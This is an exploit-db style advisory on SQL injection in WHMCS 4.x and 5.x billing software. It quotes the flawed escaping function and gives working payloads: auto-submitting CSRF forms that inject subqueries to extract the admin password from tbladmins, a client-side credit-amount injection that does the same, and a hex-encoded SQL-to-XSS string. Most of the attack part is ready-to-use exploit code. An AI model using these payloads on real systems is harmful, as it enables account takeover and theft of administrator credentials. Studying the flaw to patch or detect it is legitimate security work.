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WHMCompleteSolution (WHMCS) 4.x/5.x - Multiple Web Vulnerabilities

🗓️ 12 Dec 2013 00:00:00Reported by AhwAk20o0 --Type 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 25 Views

WHMCS v4.x & v5.x - Multiple Web Vulnerabilities. In dbfunctions.php, the script uses a function to secure input, but it can be bypassed. Exploitation involves CSRF to SQL and bypass token. applyCredit function in invoicefunctions.php also has vulnerabilities. SQL can be converted to XSS, example included

Code
# Exploit Title: WHMCS v4.x & v5.x - Multiple Web Vulnerabilities
# Date: 2013-12-10
# Exploit Author: ahwak2000
# Vendor Homepage: http://whmcs.com/
# Version: 4.x , 5.x
# Tested on: win 7

+------------------+ 
|   Vulnerability  | 
+------------------+ 

File : includes\dbfunctions.php 

function db_escape_string($string) {

$string = mysql_real_escape_string($string);

return $string;

}
+------------------+ 
|   Description    | 
+------------------+ 

the script use this function to secure the input
the function disable only the ' and "
but we can bypass it  if the query don't use '


+------------+ 
|   Example  | 
+------------+ 

file : admin/invoices.php
[...]
$query = "UPDATE tblinvoices SET credit=credit-" . db_escape_string($removecredit) . " WHERE id='" . db_escape_string($id) . "'";
				full_query($query);
[...]

+------------+ 
|Exploitation| 
+------------+ 

CSRF to SQL And Bypass Token
<html>
    <body onload="submitForm()">
    <form name="myForm" id="myForm"
    action="http://localhost/whmcs5214/admin/invoices.php" method="post">
    <input type="hidden" name="token" value="ahwak2000">
    <input type="hidden" name="id" value="1">
    <input type="hidden" name="removecredit" value="-99,invoicenum=(select password from tbladmins limit 0,1)">
    <input type="hidden" name="action" value="edit">
    </form>
    <script type='text/javascript'>document.myForm.submit();</script>
</html>


OR


<html>
    <body onload="submitForm()">
    <form name="myForm" id="myForm"
    action="http://localhost/whmcs5214/admin/invoices.php" method="post">
    <input type="hidden" name="token" value="ahwak2000">
    <input type="hidden" name="id" value="1">
    <input type="hidden" name="addcredit" value="-99,invoicenum=(select password from tbladmins limit 0,1)">
    <input type="hidden" name="action" value="edit">
    </form>
    <script type='text/javascript'>document.myForm.submit();</script>
</html>

+------------+ 
|   Example 2| 
+------------+ 

file : includes/invoicefunctions.php

function applyCredit($invoiceid, $userid, $amount="", $noemail = "") {
	$query = "UPDATE tblinvoices SET credit=credit+" . db_escape_string($amount) . " WHERE id='" . mysql_real_escape_string($invoiceid) . "'";
	full_query($query);
	$query = "UPDATE tblclients SET credit=credit-" . db_escape_string($amount) . " WHERE id='" . mysql_real_escape_string($userid) . "'";
	full_query($query);
[...]
	}

}

File: /viewinvoice.php
if ($invoice->getData("status") == "Unpaid" && 0 < $creditbal) {
	
	$creditamount = $whmcs->get_req_var("creditamount");
	if ($whmcs->get_req_var("applycredit") && 0 < $creditamount) {
		check_token();

		if ($creditbal < $creditamount) {
			echo $_LANG['invoiceaddcreditovercredit'];
			exit();
		}
		else {
			if ($balance < $creditamount) {
				echo $_LANG['invoiceaddcreditoverbalance'];
				exit();
			}
			else {
			
				applyCredit($invoiceid, $invoice->getData("userid"), $creditamount);
			}
		}

		redir("id=" . $invoiceid);
	}

	$smartyvalues['manualapplycredit'] = true;
	$smartyvalues['totalcredit'] = formatCurrency($creditbal) . generate_token("form");

	if (!$creditamount) {
		$creditamount = ($balance <= $creditbal ? $balance : $creditbal);
	}

	$smartyvalues['creditamount'] = $creditamount;
}
+------------+ 
|Exploitation| 
+------------+ 
Go to http://127.0.0.1/whmcs5214/viewinvoice.php?id=1  <~ edit

if client have creditt and when he want to pay with credit 

in the "Enter the amount to apply:" put 0.01,Address2=(SELECT password from tbladmins limit 0,1)

the admin password will be in the client address


+-----------------+
sql => xss

SQL can convert to XSS 
Must Encode XSS to Hex
Example :

(SELECT 0x3C7363726970743E616C6572742827616877616B3230303027293B3C2F7363726970743E) //<script>alert('ahwak2000');</script>

SQL can be modified to work when all members and supervisors
(SELECT 0x3C7363726970743E616C6572742827616877616B3230303027293B3C2F7363726970743E)# <~

+-------------------+

./END

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